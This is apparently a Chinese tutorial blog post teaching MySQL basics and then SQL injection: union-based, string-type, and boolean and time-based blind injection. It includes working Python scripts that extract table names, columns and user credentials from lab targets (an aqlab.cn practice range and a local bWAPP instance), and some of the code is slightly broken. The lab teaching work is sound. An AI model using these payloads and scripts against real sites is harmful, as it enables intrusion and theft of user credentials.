在实战部分需要有一定的python爬虫基础

如果有看不懂的请在下方留言

一. 数据库相关知识简介

1. 什么是数据库

数据库就是将大量数据把保存起来,通过计算机加工而成的可以高效访问的数据集

2. 常见的数据库

Oracle:甲骨文公司

SQL Servers:微软公司

DB2:IBM 公司

PostgreSQL:开源

MySQL:开源

Access:微软公司(老古董)

我们把调用这些数据库的语句,统一叫做SQL语句

尽管数据库的种类繁多,但这些数据库的SQL语句是相通的。同一条SQL语句可以在不同的数据库上执行,得到相同的效果

不过不同的数据库他是会有一些自己独有的特性,不过很少。

3. 数据库结构

我们用 SQL - Font 工具对数据库进行可视化分析

这就是这样

(1) 左面那些东西

我们先看看左面那些图标都是些什么牛马

我们先来看这个

这个代表当前的服务器,所有的数据库都在服务器下

这几个是在服务器下的所有数据库

一个服务器下可以有多个网站,一个网站有一个数据库

这里注意有两个特殊的库,就是那个图标和其他数据库不一样的那两个

这两个数据库是MySQL自带的数据库,之后会讲到。

我们随便打开一个数据库看看

发现它底下有两个网格图标的东西,我们点击去查看一下它的内容

这里有一个id和一个name,我们目前还不知道这是啥

到此为止,左面的东西我们了解的差不多了,左面其他没讲的东西不用管它

(2) 右面的那些东西

首先是这个

我们打开了admin,查看它的数据浏览器

可以看见,它的数据结构是个excel表

我们点开下面的那个website的数据浏览器,看看是什么样的

发现它的数据结构也是一张表

所以我们可以知道,数据库存放的是一张张的表

比如我们现在这个 test数据库存放了两张表,分别是admin表和website表

通过数据浏览器可以看到表的结构和内容

我们在来看看数据浏览器旁边的那个对象浏览器

我们打开admin表的对象浏览器

发现这里有个名词,叫做 “字段”

这个内容有点熟悉啊,这不就是admin表的列嘛

在数据库中,表里的列不叫列,叫做字段

我们还可以看到其他的东西,比如这个字段的类型等信息

对象浏览器可以查看表中字段的信息

在最右面的那个SQL编辑器就是我们编写SQL语句的地方

4. 简单的SQL语句

编写SQL语句的时候就到SQL编辑器里编辑就行

(1) SELECT 字段名 FROM 表名

我们现在想要通过SQL语句查询website表中的url字段信息

1
select url from website

我们想要查询website表里的url和name两个字段的信息

1
select url,name from website  // 更多字段同理

我们想要查看这个website表的所以字段信息呢

1
select * from website  // 这里 * 代表所有的字段

(2) WHERE

我们还是拿website表举例

我现在想要 website 中 id=2 的那行数据

1
select * from website where id=2

这里where的作用就像筛选一样

我现在想要 country字段是CN的数据

1
select * from website where country='CN'  // 这里注意,SQL语句里没有双引号

(3) AND

我现在想要在website表中找 id=1 并且 country是CN的数据

1
select * from website where id=1 and country='CN'

这里and的作用就是“并且”

and需要两面都成立

比如这样就不行

这句话执行后没有结构,因为后面的 1=2 不成立

把 1=2 改成 1=1 这句话就能正常执行了

(4) OR

我现在想要在website表中找 id=1或者 country=’CN’ 的数据

1
select * from website where id=1 or country='CN'

or是双方只要一个成立就行

1
select * from website where (id=1 and country='CN' and 1=2) or id=2

这里 id=1 and country=’CN’ and 1=2 是无法成立的

但是因为加了or,后面的id=2成立,结果就输出了id=2的数据

(5) order by

order by会根据所选字段进行排序

我们让website表根据age字段排序

1
select * from website order by age

由小到大进行了排序

我们还可以让它根据第几个字段进行排序

1
select * from website order by 5 // 根据第5个字段进行排列

我们这个表只有7个字段,那我们 order by 8 会怎么样呢?

1
select * from website order by 8 

它说没找到第8列

所以我们实战中可以通过这样来判断这个表有几个字段

如果5没报错,6报错了,说明这张表有5个字段

(6) UNION

test数据库下有两张表,我想要同时查看两张表的数据怎么办呢?

这个时候就可以用UNION来联合输出

1
2
3
4
select * from admin union select * from website

// 这句话的意思是,同时执行 select * from admin 和 select * from website
// 这个会报错

报错说,这两张表有不同的字段数

所以使用union的时候,前后命令所输出的结果必须字段数相同

意思是说,admin中有两个字段,select * from admin 输出就是两个字段
但是,website有7个字段,select * from website 输出的就是7个字段
这两个结果输出的字段不同,无法通过union运行

那我们稍微改改,既然admin是两个字段,那我们就再union一个两个字段的不就好了嘛

1
2
3
4
select * from admin union select id, name from website

// 这句话的意思是同时运行 select * from admin 和 select id, age from website
// 前面两个字段,后面两个字段

(7) SELECT + UNION

我们可以直接select数字

1
select 1,2,3,4,5,6,7

一个数字就是一个字段,这里是1到7,就是有7个字段

我们可以通过这个机制来和union结合

admin有两个字段,我们可以这样

1
select * from admin union select 1,2

website表是7个字段,同理

1
select * from website union select 1,2,3,4,5,6,7 

(8) database()

database()代表当前数据库

我们通过select来试一下

1
select 1,database()

或者这样

1
select * from admin union select 1,database()

(9) limit

我想查看website表的第一行

通过limit可以这样

1
select * from website limit 0,1

这句话的意思是,从第零行开始,往上查看一个,0往上一个就是1

那么我想查看第三行呢

1
select * from website limit 2,1

从第二行开始往上一个,就是第三行

那要是看第5行和第6行呢

1
select * from website limit 4,2

从第4行开始,往上查看两行就是第五行和第六行

(10) 注释

我们SQL语句有一个注释

我们看看这个:

1
select * from admin where id = '1' -- '

这句话就是

1
select * from admin where id = '1'

因为后面的 ‘ 被注释掉了

(11) sleep

我们可以通过sleep函数让数据库睡一觉

1
select sleep(5)  // 睡5秒

可以看到,执行了 5秒 多

这个sleep函数还有一个神奇的小特性,在下面时间盲注那里会讲到

(12) length

length() 函数可以返回字符串的长度

1
SELECT * FROM `admin`where id=1 and length(database())>1

这里的length(database())>1代表数据库名字的长度大于一,有结果返回说明名字长度大于一成立

1
SELECT * FROM `admin`where id=1 and length(database())=5

没有返回说明 数据库长度等于5不成立

当然你也可以使用其他的运算,什么 < > = 都可以用

记得这个需要加上where条件,不叫会报错

我们可以通过这样的方式猜数据库名称表名称字段名称的长度

(13) substr

substr() 截取字符串

1
SELECT * FROM `admin` WHERE id=1 AND substr(DATABASE(),1,1)='t'

这里的 substr(DATABASE(),1,1)=’t’ 代表 截取数据库的第一个字符,这个字符等于t

因为我们的数据库名称为test,所以等于t成立,所以能正常返回 id=1 的内容

这里 1,1 代表 从第一位开始截取一个,就是 t

1,2 代表从第一位开始,截取2个,就是 te

2,2 代表从第二位开始,截取两个,就是es

有返回的结果说明 substr(DATABASE(),2,2)=’es’ 成立

(14) ord()/ascill()

ord(),ascill() 这两个功能一样,都是来返回字符的ascill码

我们来试一下

我们的数据库名称是test,t对应的ascii码是116

1
SELECT * FROM admin WHERE id=1 AND ord(substr(database(),1,1))=116

返回数据,说明 ord(substr(database(),1,1))=116 成立,代表数据库的第一个字符的ascii码是116

这里 ord(substr(database(),1,1))=116 代表 数据库的第一个字符的ascii码是116

当然 ascii() 也是一样的

我们拿数据库第二位试试,第二位是e,e的 ascii 码是 101

1
SELECT * FROM admin WHERE id=1 AND ascii(substr(database(),2,1))=101

有结果返回,说明 ascii(substr(database(),2,1))=101 成立,即数据库第二位的 ascii码 是101

我们可以通过这样的方式猜数据库名称表名称字段名称的ascii码,然后在把 ascii码 反编译得到正确的名称

(15) if

我们看一下这个例子

1
select if(1=1,3,4)

这里是 1=1 返回了3

1
select if(1=2,3,4)

这里是 1=2 返回了4

if 的用法就是:if(a,b,c),如果a成立,返回b;a不成立,返回c

(16) count

count函数可以让你知道个数

我们想要知道test数据库下的admin表中的name字段有几个数据

1
select count(name) from test.admin  // test.admin 代表 test库下的admin表

这样就得到了有几个了

(17) concat

我们可以通过concat让两个结果成为一个组,然后再输出

我们现在想要把admin表中的 id和name 的结果放到一起输出,不是像union那种,是真正的放一起

1
select concat(id,name) from admin

可以看到id和name放在一起了

但有的时候,我们把它放一起后,无法辨别哪个是哪个,我们可以加一点东西

1
concat(id,'@',name)

这样输出的话就会把 @ 带上,数据就可以分为 @ 前面的和 @ 后面的

1
select concat(id,'@',name) from admin

这样就能区分了

(18) insert into

insert的作用是向表插入数据

1
INSERT INTO admin(id,name) VALUES (123,'test1')

这句话我们拆开来记:

我们想要插入数据,写 insert into;向 admin 表里插入数据就是 admin;数据加在 admin 的 id 和 name 字段中,就是(id,name);假加入对应值就是value;值的内容是 123 和 test1,就是(123,’test1’)

我们看一下结果

这里不会返回任何结果

成功插入

这里要注意,你插入的数据一定要和字段的数据类型相匹配

比如这里的 id字段,是int类型,所以它下面只能是数字;name字段是 varchar 类型,那么它的数据只能是字符串。

(19) updatexml

更新xml文档的函数

这个东西我们主要用于报错注入的,让结果显示在报错里

我们看这个

1
SELECT updatexml(1,'~',1)

可以发现SQL语句里的第二个参数显示在报错中

我们试试database()

这里,如果想显示SQL语句的结果的话,需要与concat配合

1
SELECT updatexml(1,concat('~',(select database())),1)

这样就得到了数据库的名称

5. 一些重要的表

(1) information_schema库下的schemata表

这张表的数据结构是这样的

这张表的 schema_name 字段包含了当前服务器的所有数据库名称

(2) information_schema库下的tables表

这张表的数据结构是这样的

这张表有两个神奇的字段,一个是table_schema,另一个是table_name

其中 table_schema 包含了服务器的所有库名,而 table_name 包含了服务器的所有表名

(3) information_schema库下的columns表

这张表更神奇,先看它的结构

它有三个牛逼的字段,table_schema(数据库名),table_name(表名),column_name

其中table_schema和table_name我们上面讲过了,这个column_name是包含了服务器中所有的字段名

二. SQL注入原理

1. 什么是SQL注入

攻击者通过构造不同的SQL语句来实现对数据库的操作

2. 有SQL漏洞的网站基本要求

(1) 用户参数可控

什么叫做用户参数可控呢?

我们看看这个网站

它上面有一个id=1

我们尝试把 id=1 改成 id=2

可以发现,页面发生了变化

我们可以对 id 这个参数的值进行修改,并且改参数后页面会发生改变

这就叫做用户参数可控

(2) 我们构造的的语句能进入数据库进行操作

所谓 “能进入数据库” 进行操作,就是能对数据库进行 “增删改查”

我们上面那个改 id 参数的那个网站,是不是特别熟悉啊

它不就是

1
select * from 数据库 where id=%d  // 这个 %d 代表数字

它是不是对数据库进行查找了啊

这就是 “增删改查” 中的 “查”

再看看这个

这个注册是不是向数据库中写入你的信息啊,这就是 ”增“

这个搜索是不是从数据库中查找你的要的内容啊,这就是 ”查“

我们再看这个

我们点击归档的时候,当前这个客户端就向服务器发送了一个数据包,告诉服务器我要看归档,然后服务器就在当前网站的数据库里找对应的有关归档的信息,然后在发一个数据包到客户端,然后我们就能看到内容了。

这个过程也是 ”查“

还有这个

这个不就是 order by 排序嘛

再举最后一个例子

我们打开”开发者选择“

在我们的网络抓包中,有些网站会去收集检测你这个这个请求头,看看是不是自动化,爬虫之类的。

以上举的所有例子都是能与数据库发生交互的地方

3. 如何判断这个地方有没有SQL漏洞

有SQL注入的前提是你的SQL语句能传进数据库

比如这个

我这里为了操作方便用了一个叫 postman 的工具

我们在 id=1 传入 and 1=1

然后它能正常显示

我们传入 1=2 呢?

发现它不能正常显示内容

为什么呢?

因为我们的这句话传入了数据库

我们传入 1=1 的时候是这样的

1
select * from 数据库 where id=1 and 1=1

这样SQL语法没毛病,能够正常返回内容

但是 1=2 的时候却是这样的

1
select * from 数据库 where id=1 and 1=2

后面的 1=2 不成立,用的是and语句,找不到符合的数据,数据为空

通过这样的方法来判断SQL语句是否传入了数据库

当然,加减法也行

不过加法有个问题

我们试一下

数据为空,这是为啥呢?

因为在URL中,+等于空格,我们写的是 1+1=2 但实际上它传的是 1 1=2

这时候用URL编码就行了,+ 的URL编码是 %2

三. SQL注入 - 联合注入

我们拿这个网站举例

靶场:宠物猫 异国短毛猫 纯种猫 加菲猫 波斯猫 辛巴猫舍 纯种双色/梵文波斯、异国小猫 CFA注册猫舍 (aqlab.cn)

我们要先知道SQL注入要找什么

找后台网站的账号和密码

这个账号和密码在哪里?在我们的字段中

那么字段在哪里?在表里

那么这表在哪里呢?表在我们的数据库中

我们现在一不知道字段,二不知道表明,三不知道数据库名,怎么获取信息呢?

我们可以通过上面介绍的 information_schema数据库 下的 tables 表。

这个表里有两个字段,一个是 table_schema 有着所有的数据库信息

还有一个字段是 table_name 有着所有的表名

还有一张表,是columns表,他里头有一个字段是 columnt_name

它是服务器的所有字段名

这样思路就清晰了

1. 猜字段数

(1) 用order by直接试

我们先通过 order by 来判断字段数

你可以一个一个的去试,就是 order by 1 没报错,order by 5报错了,说明字段数有4个

这里 order by 2 有显示, order by 3 没有

说明字段数是 2

在这个,有显示的叫做有 ”回显“,没有显示的叫做 ”无回显“

(2) 用脚本

我们可以写一个自动化脚本来猜

这个 order by 1,order by 2 中的这个数字可以用循环来获取、

由于正常显示的时候必定有一段数据回显,比如这里的这个:

如果正常的话一定显示这些内容,不符合就没有回显,我们可以加一个判断语句

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests  

text = "我们是辛巴猫舍,位于中国。"

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54"
}

for i in range(1, 100):
response = requests.get(f"http://cntj8003.ia.aqlab.cn/?id=1 order by {i}")
response.encoding = "utf8"
if text in response.text:
pass
else:
print(f"字段数为{i - 1}")
break

我这里是拿python写的,当然你也可以用其他语言写一个脚本

2. union 获得空字段

我们知道 select 1,2 可以显示 1,2,并且有一个数就是一个字段

union 可以显示前后两个字段相同的表数据

那我们可以这样:

我们先用 1=2 让正常的数据不显示,但是这张表的字段数是一定的,这时候我们加上union select 就可以让数字 1,2,3 显示

3. 把空字段改成其他数据

这里显示的数字是 2 我们就可以把数字2改成其他的数据,比如database()

我们就这样得到了数据库名称 maoshe

接着,通过information_schema 这个库就可以得到其他的数据

1
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

我们开分析一下这个

1
table_name from information_schema.tables where table_schema=database() limit 0,1

我们查看 table_name 这个字段,这个字段来自 information_schema.tables 库,筛选条件为 table_schema 字段内容为 database() ,我们查询第一条数据。

这样就得到了当前表的第一行数据

我们可以可以再写一个脚本

我们可以看见,显示的结果在 /html/body/div[1]/div[3]

我们写一个脚本

这样就得到了当前数据库下的四张表

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests  
from lxml import etree

for i in range(100):
url = f"http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit {i},1"
response = requests.get(url)
response.encoding = "utf8"
response_tree = etree.HTML(response.text)
database = response_tree.xpath("/html/body/div[1]/div[3]/text()")
if database == ['\n ']:
break
else:
print(database)

我们得到了四张表,其中一个是 admin 表,这里应该就是有着账号密码的表

我们可以通过 information 库下的 columns 表,获得admin表下的内容

这样我们就得到了admin表下所有字段

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests  
from lxml import etree

for i in range(100):
url = f"http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit {i},1"
response = requests.get(url)
response.encoding = "utf8"
response_tree = etree.HTML(response.text)
database = response_tree.xpath("/html/body/div[1]/div[3]/text()")
if database == ['\n ']:
break
else:
print(database)

这里有两个字段我们需要注意,一个是username,一个是password。

我们现在知道了数据库名,知道了表名,知道了字段名,现在搞字段内容就简单了

这样就得到了username字段的内容

这样就得到了密码

四. 数字类注入和字符串类注入

我们刚才那个例子注没注意到,他是id=1

但是有的时候我们见到的不是这样的

比如我们搜索一个电影的时候,它就是这样 movie = ‘钢铁侠’

1
select * from 数据库 where movie = '钢铁侠'

这样就能查看数据库中有关钢铁侠的信息了

id=1 叫做数字型注入

movie = ‘钢铁侠’ 这种叫做字符串型注入

我们在注入的时候要注意那两个引号

比如这样

1
select * from 数据库 where movie = '钢铁侠 and 1=1'

这样的话数据库查询的是 ‘钢铁侠 and 1=1’ ,这样是没有数据的

我们这时候应该再加上一个引号和一个注释

1
select * from 数据库 where movie = '钢铁侠' and 1=1 -- '

这样传入数据库的就是 ‘钢铁侠’ and 1=1 –

这样就能避开引号的问题

五. 盲注

1. 盲注介绍

(1) 盲注的使用场景

有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用些方法进行判断或者尝试得到数据,这个过程称之为盲注。

比如这样的

他这个结果是通过邮箱发给你的,不会在页面上显示,这就是一种没有回显的例子

(2) 盲注类型

1、布尔盲注

布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息

布尔盲注的使用场所只有两种情况,比如找到或没找到

我们需要通过它返回的情况来判断我们写的SQL语句是否成立

如果返回找到,说明SQL语句成立;如果返回没找到,就是说明SQL语句不成立

2、时间盲注

界面返回值只有一种,true 无论输入任何值,返回情况都会按正常的来处理。

加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

时间盲注和布尔盲注差不多,代码脚本也特别相似

不过一个是通过返回的结果一个是通过返回的时间

这个通过返回时间可能有些人不太明白

我们知道sleep()函数可以让数据库延迟显示内容

那如果我们在后面加上sleep函数并用and相连的话,是不是就可以通过时间来判断了

比如我想让数据库5秒后返回结果,就是sleep(5)。

如果它1秒就返回了,说明SQL语句错误;如果5秒后返回说明SQL语句正确

我们可以在抓包区域看时间

也可以用脚本通过设置 time1 和 time2 让他们相减得到时间差

这个sleep函数还有一个神奇的小特性

我们看这个

1
SELECT * FROM `admin` WHERE fenshu=60 and sleep(1)

正常来说,它不应该是花费1秒吗?为啥花费了3秒?

我们看看and前面的那部分返回的数据

1
SELECT * FROM `admin` WHERE fenshu=60

它有三条数据,说明在加上sleep后,每一条数据都会执行sleep,所以刚才睡了3秒

我们可以通过这个特性来判断当前页面应该有几条数据

2. 盲注演示

盲注的流程比较繁琐

数据库名称的长度 -> 数据库名称 -> 数据库有几张表 -> 表名长度 -> 表名 -> 表下有几个字段 -> 表的字段名 -> 字段内容

我们演示一下两个盲注方式

(1) 布尔盲注

页面时这样的

我们搜索一下a

显示a这个电影不在数据库里

因为它是搜电影的,电影名称是字符串,所以他应该是字符串注入

我们输入 1’ or 1=1

可以看到现在就说电影在数据库里了

数据对了,就返回该数据在数据库,就是true;数据不对,就返回该数据不在数据库,就是False

我们可以使用布尔盲注

我们先猜数据库长度,使用length函数,length(database())=? 如果这个对了的话就会返回 The movie exists in our database!

我们可以写一个脚本

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests  

for i in range(100):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or length(database())={i} -- " headers = {
"cookie": "PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0"
}
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"数据库长度为:{i}")
break
else:
pass

这样就得到了数据库名称长度为5

接下来就是获取数据库的名称了

我们得到了数据库的长度,然后就是根据这个数字设置循环的次数

比如长度是4,我们就设置4次循环。我们每次循环都要得到这次循环对应的第几个字符的ascii码然后转换成对应的值

比如在第一次循环,应该取的是数据库的第一个字符,我们把这个字符的ascii拿到手,然后在把ascii转换从对应的字母

我们先简单构建一下SQL语句

我们需要截取字符串,用到 substr();需要ascii码,用到ascii()/ord();ascii码能用上的范围是 33~126

这个SQL语句就是 ascii(substr(database(),这里改,1))=这里改

理清思路后写脚本

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

for i in range(1, 6):
for ii in range(33, 127):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or ascii(substr(database(),{i},1))={ii} -- " response = requests.get(url, headers=headers)
response.encoding = "utf8"
if "The movie exists in our database!" in response.text:
print(f"第{i}个字符是{chr(ii)}")
break
else:
pass

这样就得到了数据库名称为 bwapp

接下来就是获取bwapp下有几张表了

这里会用到 information_schema.tables 中的 table_name 和 table_schema

获取表的个数用到了count函数

简单构造一下SQL语句

1
select count(table_name) from information_schema.tables where table_schema=database()

上脚本

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

for i in range(1, 100):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or (select count(table_name) from information_schema.tables where table_schema=database())={i} -- " response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"有{i}张表")
break
else:
pass

得到有4张表

接下来就是要获取每张表的字段长度

这里的难点就是要获取 “每张表”,这个”每张表” 要怎么处理,这里就要加上 limit 了

1
length((select table_name from information_schema.tables where table_schema=database() limit 0,1))
1
2
3
4
5
length(
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
// 这句话的意思是:
// 从 information_schema.tables 筛选 table_schema=database() 的 table_name 字段内容,并且要第 limit 0,1 个
)

上脚本

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

for i in range(0, 4): # 这里要注意 limit 是从0开始的
for ii in range(0, 100):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or length((select table_name from information_schema.tables where table_schema=database() limit {i},1)) = {ii} -- " response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"第{i+1}张表的长度为{ii}")
break
else:
pass

然后就是获取表名了

道理相同

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

list_ = [4, 6, 6, 5]

for i in range(4):
print(f"第{i + 1}张表名字为:")
for ii in range(1, list_[i] + 1):
for iii in range(33, 127):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{ii},1))={iii} -- "
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"{chr(iii)}")
break
else:
pass

这样我们就得到了那4张表

这里有一个表是users,我们要获取它的数据

然后就是老一套,把上面的代码简单改改就行了

获取users表有几个字段

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

for i in range(1, 100):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')={i} -- "
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"user表有{i}个字段")
break
else:
pass

获取字段长度

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

for i in range(0, 9):
for ii in range(0, 100):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {i},1))={ii} -- "
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"第{i + 1}个字段的长度为{ii}")
break
else:
pass

获取字段名

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests  

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}

list_ = [2, 5, 8, 5, 6, 15, 9, 10, 5]

for i in range(9):
print(f"第{i + 1}个字段名字为:")
for ii in range(1, list_[i] + 1):
for iii in range(33, 127):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {i},1),{ii},1))={iii} -- "
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"{chr(iii)}")
break
else:
pass

这其中有两个字段我们想要的,分别是login和password

我们现在知道了数据库名:bwapp;知道了表名:users;知道了字段名:login和password

现在就简单了,我们通过concat把两个字段的数据放一起,用@分隔

1
ascii(substr((select concat(login,'@',password) from users limit 0,1),1,1))

由于数据有点多,我们可以采用多线程或者多进程模式

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests  
from concurrent.futures import ThreadPoolExecutor

headers = {
'cookie': 'PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0'
}


def main():
for iii in range(100):
for i in range(100):
for ii in range(33, 127):
url = f"http://192.168.211.176/bwapp/app/sqli_4.php?title=1' or ascii(substr((select concat(login,'@',password) from users limit {iii},1),{i},1))={ii} -- "
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
if "The movie exists in our database!" in response.text:
print(f"{chr(ii)}")
break
else:
pass
print("=" * 60*)


if __name__ == '__main__':
pools = ThreadPoolExecutor(500)
pools.submit(main())

OK搞定!

以上就是布尔盲注的内容,如果你是因为python不会或者是SQL语句看不懂,请仔细研究研究

(2) 时间盲注

时间盲注几乎和布尔盲注一摸一样

我们看这个

这里返回的结果会通过邮件发给你,你是无法从页面得到任何数据。

无法得到回显要用盲注,这里还用不了布尔盲注,所以只能用时间盲注了

我们先获取一下数据库长度试试手

我们先正常访问一下,什么参数也不加

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests  
import time

url = f"http://192.168.211.176/bwapp/app/sqli_15.php?"
headers = {
"cookie": "PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0"
}
time1 = time.time()
response = requests.get(url, headers=headers)
time2 = time.time()

print(time2 - time1)

我们这里是先得到访问前的时间 time1 然后得到访问后的时间 time2 之后再相减就得到了时间差

我们加上sleep(1)

我们sleep(1) 结果返回了9秒多一点,说明当前页面应该有9条数据

所以只要时间差比9秒大,就i说明SQL语句成立

我们直接套用布尔盲注的代码,简单修改一下就行

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests  
import time

for i in range(100):
url = f"http://192.168.211.176/bwapp/app/sqli_15.php?title=1' or length(database())={i} and sleep(1) -- "
headers = {
"cookie": "PHPSESSID=19sa3pl9d689a4pbprhpmk4bm0; security_level=0"
}

time1 = time.time()
response = requests.get(url, headers=headers)
response.encoding = 'utf8'
time2 = time.time()
datatime = time2 - time1

if datatime > 9:
print(f"数据库长度为{i}")
break
else:
pass

可以发现和布尔盲注就加了个时间差,if条件变了一下,参数加了个sleep函数,其他的一模一样。

这个就不演示了。自己改改就行,如果不会改就说明之前的东西没弄明白。